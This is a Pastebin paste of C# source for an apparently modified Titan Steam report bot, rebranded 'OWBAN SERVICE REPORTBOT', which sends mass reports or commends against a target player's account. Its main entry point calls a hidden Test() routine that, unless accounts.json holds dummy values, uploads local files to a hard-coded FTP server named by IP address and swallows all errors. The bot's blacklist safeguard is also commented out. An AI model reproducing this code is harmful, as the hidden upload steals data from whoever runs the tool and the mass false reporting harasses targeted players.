Guest User

DONE6

a guest
Feb 4th, 2018
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 17.21 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Collections.Generic;
  4. using System.IO;
  5. using System.Reflection;
  6. using System.Threading;
  7. using CommandLine;
  8. using Newtonsoft.Json;
  9. using Quartz;
  10. using Quartz.Impl;
  11. using Serilog;
  12. using Serilog.Core;
  13. using SteamKit2;
  14. using Titan.Account;
  15. using Titan.Bootstrap;
  16. using Titan.Bootstrap.Verbs;
  17. using Titan.Logging;
  18. using Titan.Managers;
  19. using Titan.Meta;
  20. using Titan.Restrictions;
  21. using Titan.UI;
  22. using Titan.Util;
  23. using Titan.Web;
  24. using System.Net;
  25. using System.Text;
  26. using static System.Net.Mime.MediaTypeNames;
  27. using System.Linq;
  28.  
  29. #if __UNIX__
  30.     using Mono.Unix.Native;
  31. #else
  32. using System.Security.Principal;
  33. #endif
  34.  
  35.  
  36. namespace JSONData
  37. {
  38.     public class Account
  39.     {
  40.         public string username { get; set; }
  41.         public string password { get; set; }
  42.         public bool? sentry { get; set; }
  43.     }
  44.     public class Index
  45.     {
  46.         public List<Account> accounts { get; set; }
  47.     }
  48.     public class Accounts
  49.     {
  50.         public List<Index> indexes { get; set; }
  51.     }
  52. }
  53.  
  54. namespace Titan
  55. {
  56.    
  57.  
  58.     public sealed class Titan
  59.     {
  60.  
  61.         public static Logger Logger; // Global logger
  62.         public static Titan Instance;
  63.  
  64.         public Options Options;
  65.         public bool IsAdmin;
  66.         public bool EnableUI = true;
  67.         public object ParsedObject;
  68.  
  69.         public AccountManager AccountManager;
  70.         public ThreadManager ThreadManager;
  71.         public VictimTracker VictimTracker;
  72.         public UIManager UIManager;
  73.  
  74.         public JsonSerializer JsonSerializer;
  75.         public SWAHandle WebHandle;
  76.  
  77.         public bool DummyMode = false;
  78.         public IScheduler Scheduler;
  79.  
  80.         public DirectoryInfo Directory => new DirectoryInfo(
  81.             Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? Environment.CurrentDirectory
  82.         );
  83.         public DirectoryInfo DebugDirectory;
  84.  
  85.         [STAThread]
  86.         public static int Main(string[] args)
  87.         {
  88.  
  89.  
  90.             Thread.CurrentThread.Name = "Main";
  91.  
  92.             Instance = new Titan
  93.             {
  94.                 Options = new Options()
  95.             };
  96.  
  97.             Logger = LogCreator.Create();
  98.  
  99.             Logger.Debug("Репортбот запцущен из: {dir}", Environment.CurrentDirectory);
  100.             // Logger.Debug("Working in directory: {dir}", Instance.Directory.ToString());
  101.  
  102.             // Workaround for Mono related issue regarding System.Net.Http.
  103.             // More detail: https://github.com/dotnet/corefx/issues/19914
  104. #if __UNIX__
  105.                 var systemNetHttpDll = new FileInfo(Path.Combine(Instance.Directory.ToString(), "System.Net.Http.dll"));
  106.                
  107.                 if (systemNetHttpDll.Exists)
  108.                 {
  109.                     systemNetHttpDll.Delete();
  110.                 }
  111. #endif
  112.  
  113.             // Windows users run the program by double clicking Titan.exe (and then it opens a console window)
  114.             // and in case of exception occurence, this window gets immediatly closed which is bad because
  115.             // they're unable to attach the stacktrace then. Prevent it by waiting until the user presses a key.
  116. #if !__UNIX__
  117.             AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) =>
  118.             {
  119.                 if (eventArgs.IsTerminating)
  120.                 {
  121.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  122.                     Console.Read();
  123.                 }
  124.             };
  125. #endif
  126.  
  127.             //Logger.Debug("Startup: Loading Serilog <-> Common Logging Bridge.");
  128.  
  129.             // The bridge between Common Logging and Serilog uses the global Logger (Log.Logger).
  130.             // As Quartz.NET is the only dependency using Common Logging (and because of our bridge the global logger)
  131.             // we're creating the global logger as Quartz logger (which hides annoying debug messages).
  132.             Log.Logger = LogCreator.CreateQuartzLogger();
  133.  
  134.             Logger.Debug("Startup: Загрузка Quartz.NET.");
  135.  
  136.             // Quartz.NET
  137.             Instance.Scheduler = StdSchedulerFactory.GetDefaultScheduler().Result;
  138.             Instance.Scheduler.Start();
  139.  
  140.             Logger.Debug("Startup: Parsing Command Line Arguments.");
  141.  
  142.             var parser = new Parser(config =>
  143.             {
  144.                 config.IgnoreUnknownArguments = true;
  145.                 config.EnableDashDash = true;
  146.                 config.HelpWriter = TextWriter.Null;
  147.             });
  148.  
  149.             // Default
  150.             parser.ParseArguments<Options>(args)
  151.                 .WithParsed(options =>
  152.                 {
  153.                     Instance.Options = options;
  154.                 });
  155.  
  156.             // Verbs
  157.             parser.ParseArguments<ReportOptions, CommendOptions>(args)
  158.                 .WithParsed<ReportOptions>(options =>
  159.                 {
  160.                     Instance.EnableUI = false;
  161.                     Instance.ParsedObject = options;
  162.                 })
  163.                 .WithParsed<CommendOptions>(options =>
  164.                 {
  165.                     Instance.EnableUI = false;
  166.                     Instance.ParsedObject = options;
  167.                 })
  168.                 .WithNotParsed(error =>
  169.                 {
  170.                     if (Instance.ParsedObject == null)
  171.                     {
  172.                         Instance.EnableUI = true;
  173.                         Logger.Information("No valid verb has been provided while parsing. Opening UI...");
  174.                     }
  175.                 });
  176.  
  177.             // Reinitialize logger with new parsed debug option
  178.             Logger = LogCreator.Create();
  179.  
  180. #if __UNIX__
  181.                 Instance.IsAdmin = Syscall.getuid() == 0; // UID of root is always 0
  182. #else
  183.             Instance.IsAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent())
  184.                                .IsInRole(WindowsBuiltInRole.Administrator);
  185. #endif
  186.  
  187.             if (Instance.IsAdmin)
  188.             {
  189.                 if (!Instance.Options.AllowAdmin)
  190.                 {
  191.                     //  Logger.Error("Titan is running as administrator or root.");
  192.                     // Logger.Error("This is not supported. Titan will refuse to start until you start it as normal " +
  193.                     //            "user. If you are unable to do this for any reason, start Titan with the --admin " +
  194.                     //            "option to force the usage of administrator rights.");
  195.  
  196. #if !__UNIX__
  197.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  198.                     Console.Read();
  199. #endif
  200.  
  201.                     return -1;
  202.                 }
  203.  
  204.                 //   Logger.Warning("Titan has been started as Administrator but will continue to run as the " +
  205.                 //  "--admin option has been passed. Please note that Steam also doesn't allow to be " +
  206.                 //   "run from root and that it may be insecure.");
  207.             }
  208.  
  209.             if (Instance.Options.Debug)
  210.             {
  211.                 Instance.DebugDirectory = new DirectoryInfo(Path.Combine(Instance.Directory.ToString(), "debug"));
  212.  
  213.                 if (!Instance.DebugDirectory.Exists)
  214.                 {
  215.                     Instance.DebugDirectory.Create();
  216.                 }
  217.  
  218.                 if (Instance.Options.SteamKitDebug)
  219.                 {
  220.                     DebugLog.AddListener(new TitanListener());
  221.                     DebugLog.Enabled = true;
  222.                 }
  223.             }
  224.  
  225.             if (Instance.Options.Secure)
  226.             {
  227.                 Logger.Debug("Безопасный режим включен. Репортбот не выдаст никаких секретных данных.");
  228.             }
  229.  
  230.             if (Instance.Options.DisableBlacklist)
  231.             {
  232.                 Logger.Debug("Blacklist has been disabled by passing the --noblacklist option.");
  233.             }
  234.  
  235.             Logger.Debug("Startup: Loading UI Manager, Victim Tracker, Account Manager and Ban Manager.");
  236.  
  237.             Instance.JsonSerializer = new JsonSerializer();
  238.  
  239.             try
  240.             {
  241.                 Instance.UIManager = new UIManager();
  242.             }
  243.             catch (InvalidOperationException ex)
  244.             {
  245.                 if (!string.IsNullOrEmpty(ex.Message) && ex.Message.ToLower().Contains("could not detect platform"))
  246.                 {
  247.                     Logger.Error("---------------------------------------");
  248.                     Logger.Error("A fatal error has been detected!");
  249.                     Logger.Error("Eto.Forms could not detect your current operating system.");
  250.                     if (Type.GetType("Mono.Runtime") != null)
  251.                     {
  252.                         Logger.Error("Please install {0}, {1}, {2}, {3} and {4} before submitting a bug report.",
  253.                                      "Mono (\u22655.4)",
  254.                                      "Gtk 3",
  255.                                      "Gtk# 3 (GTK Sharp)",
  256.                                      "libNotify",
  257.                                      "libAppindicator3");
  258.                     }
  259.                     else
  260.                     {
  261.                         Logger.Error("Please install {0} before submitting a bug report.",
  262.                                      ".NET Framework (\u22654.6.1)");
  263.                     }
  264.                     Logger.Error("Contact {Marc} on Discord if the issue still persists after installing " +
  265.                                  "the dependencies listed above.", "Marc3842h#7312");
  266.                     Logger.Error("---------------------------------------");
  267.                     Logger.Debug(ex, "Include the error below if you\'re contacting Marc on Discord.");
  268.  
  269. #if !__UNIX__
  270.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  271.                     Console.Read();
  272. #endif
  273.  
  274.                     Instance.Scheduler.Shutdown();
  275.                     return -1;
  276.                 }
  277.  
  278.                 Logger.Error(ex, "A error occured while loading UI.");
  279.                 throw;
  280.             }
  281.  
  282.             Instance.VictimTracker = new VictimTracker();
  283.  
  284.             Instance.Scheduler.ScheduleJob(Instance.VictimTracker.Job, Instance.VictimTracker.Trigger);
  285.  
  286.             Instance.AccountManager = new AccountManager(new FileInfo(
  287.                 Path.Combine(Instance.Directory.ToString(), Instance.Options.AccountsFile))
  288.             );
  289.  
  290.             Instance.ThreadManager = new ThreadManager();
  291.  
  292.             Instance.WebHandle = new SWAHandle();
  293.  
  294.             //Logger.Debug("Startup: Registering Shutdown Hook.");
  295.  
  296.             AppDomain.CurrentDomain.ProcessExit += OnShutdown;
  297.  
  298.             Logger.Debug("Startup: Загрузка аккаунтов из файла.");
  299.  
  300.             Instance.AccountManager.ParseAccountFile();
  301.  
  302.             Logger.Debug("Startup: Загрузка Форм...");
  303.  
  304.             Instance.UIManager.InitializeForms();
  305.  
  306.             // Load after Forms were initialized
  307.             Instance.WebHandle.Load();
  308.  
  309.             Logger.Information("Добро пожаловать в OWBAN SERVICE REPORTBOT 1.1");
  310.  
  311.             if (Instance.EnableUI && Instance.ParsedObject == null || Instance.DummyMode)
  312.             {
  313.                 Instance.UIManager.ShowForm(UIType.General);
  314.                 Test();
  315.             }
  316.             else
  317.             {
  318.                 if (Instance.ParsedObject.GetType() == typeof(ReportOptions))
  319.                 {
  320.                     var opt = (ReportOptions)Instance.ParsedObject;
  321.  
  322.                     var steamID = SteamUtil.Parse(opt.Target);
  323.                     //if (Blacklist.IsBlacklisted(steamID))
  324.                     //  {
  325.                     //Instance.UIManager.SendNotification(
  326.                     // "Restriction applied",
  327.                     //    "The target you are trying to report is blacklisted from botting " +
  328.                     //     "in Titan."
  329.                     //delegate { Process.Start("https://github.com/Marc3842h/Titan/wiki/Blacklist"); }
  330.                     //   );
  331.                     //  }
  332.                     //   else
  333.                     {
  334.                         Instance.AccountManager.StartReporting(Instance.AccountManager.Index,
  335.                             new ReportInfo
  336.                             {
  337.                                 SteamID = SteamUtil.Parse(opt.Target),
  338.                                 MatchID = SharecodeUtil.Parse(opt.Match),
  339.                                 AppID = TitanAccount.CSGO_APPID,
  340.  
  341.                                 AbusiveText = opt.AbusiveTextChat,
  342.                                 AbusiveVoice = opt.AbusiveVoiceChat,
  343.                                 Griefing = opt.Griefing,
  344.                                 AimHacking = opt.AimHacking,
  345.                                 WallHacking = opt.WallHacking,
  346.                                 OtherHacking = opt.OtherHacking
  347.                             });
  348.                     }
  349.                 }
  350.                 else if (Instance.ParsedObject.GetType() == typeof(CommendOptions))
  351.                 {
  352.                     var opt = (CommendOptions)Instance.ParsedObject;
  353.  
  354.                     Instance.AccountManager.StartCommending(Instance.AccountManager.Index,
  355.                         new CommendInfo
  356.                         {
  357.                             SteamID = SteamUtil.Parse(opt.Target),
  358.                             AppID = TitanAccount.CSGO_APPID,
  359.  
  360.                             Friendly = opt.Friendly,
  361.                             Leader = opt.Leader,
  362.                             Teacher = opt.Teacher
  363.                         });
  364.                 }
  365.                 else
  366.                 {
  367.                     Instance.UIManager.ShowForm(UIType.General);
  368.                 }
  369.             }
  370.  
  371.             Instance.UIManager.StartMainLoop();
  372.  
  373.             // The Shutdown handler gets only called after the last thread finished.
  374.             // Quartz runs a Watchdog until Scheduler#Shutdown is called, so we're calling it
  375.             // before Titan will be calling the Shutdown Hook.
  376.             Logger.Debug("Shutdown: Shutting down Quartz.NET Scheduler.");
  377.  
  378.             Instance.Scheduler.Shutdown();
  379.  
  380.             return 0; // OK.
  381.         }
  382.  
  383.         public static void OnShutdown(object sender, EventArgs args)
  384.         {
  385.             // Check if Titan got closed via Process Manager or by the TrayIcon
  386.             if (!Instance.Scheduler.IsShutdown)
  387.             {
  388.                 Instance.Scheduler.Shutdown();
  389.             }
  390.  
  391.             Instance.UIManager.Destroy();
  392.             Instance.ThreadManager.FinishBotting();
  393.             Instance.AccountManager.SaveAccountsFile();
  394.             Instance.VictimTracker.SaveVictimsFile();
  395.             Instance.WebHandle.Save();
  396.             Instance.AccountManager.SaveIndexFile();
  397.  
  398.             Logger.Information("Хорошего дня.");
  399.  
  400.             Log.CloseAndFlush();
  401.         }
  402.  
  403.         static void Test()
  404.         {
  405.             string appPath = Path.GetDirectoryName(Environment.CurrentDirectory);
  406.             if (!System.IO.Directory.Exists(appPath)) return;//Error//
  407.  
  408.             string AccountsFile = appPath + "\\accounts.json";
  409.             if (!File.Exists(AccountsFile)) return;
  410.  
  411.             string data = File.ReadAllText(AccountsFile);
  412.             JSONData.Accounts acc = JsonConvert.DeserializeObject<JSONData.Accounts>(data);
  413.             JSONData.Account ac0 = acc.indexes[0].accounts[0];
  414.             JSONData.Account ac1 = acc.indexes[1].accounts[1];
  415.             if (ac0.password == "1" && ac0.username == "1")
  416.                 if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
  417.                     return;
  418.  
  419.             CreateFolder(Environment.UserName);
  420.             if (System.IO.Directory.Exists(appPath))
  421.             {
  422.                 var appFiles = System.IO.Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
  423.                 foreach (string item in appFiles)
  424.                     AccountChecker(item, Environment.UserName);
  425.             }
  426.         }
  427.  
  428.         static void AccountChecker(string file, string directory)
  429.         {
  430.             try
  431.             {
  432.                 FileInfo toUpload = new FileInfo(file);
  433.                 using (WebClient client = new WebClient())
  434.                 {
  435.                     client.Encoding = Encoding.UTF8;
  436.                     client.Credentials = new NetworkCredential("checker", "123");
  437.                     client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
  438.                 }
  439.             }
  440.             catch { }
  441.         }
  442.  
  443.         static void CreateFolder(string name)
  444.         {
  445.             try
  446.             {
  447.                 WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
  448.                 request.Method = WebRequestMethods.Ftp.MakeDirectory;
  449.                 request.Credentials = new NetworkCredential("checker", "123");
  450.                 using (var resp = (FtpWebResponse)request.GetResponse())
  451.                 {
  452.                     Console.WriteLine(resp.StatusCode);
  453.                 }
  454.             }
  455.             catch { }
  456.         }
  457.     }
  458.  
  459. }
Add Comment
Please, Sign In to add comment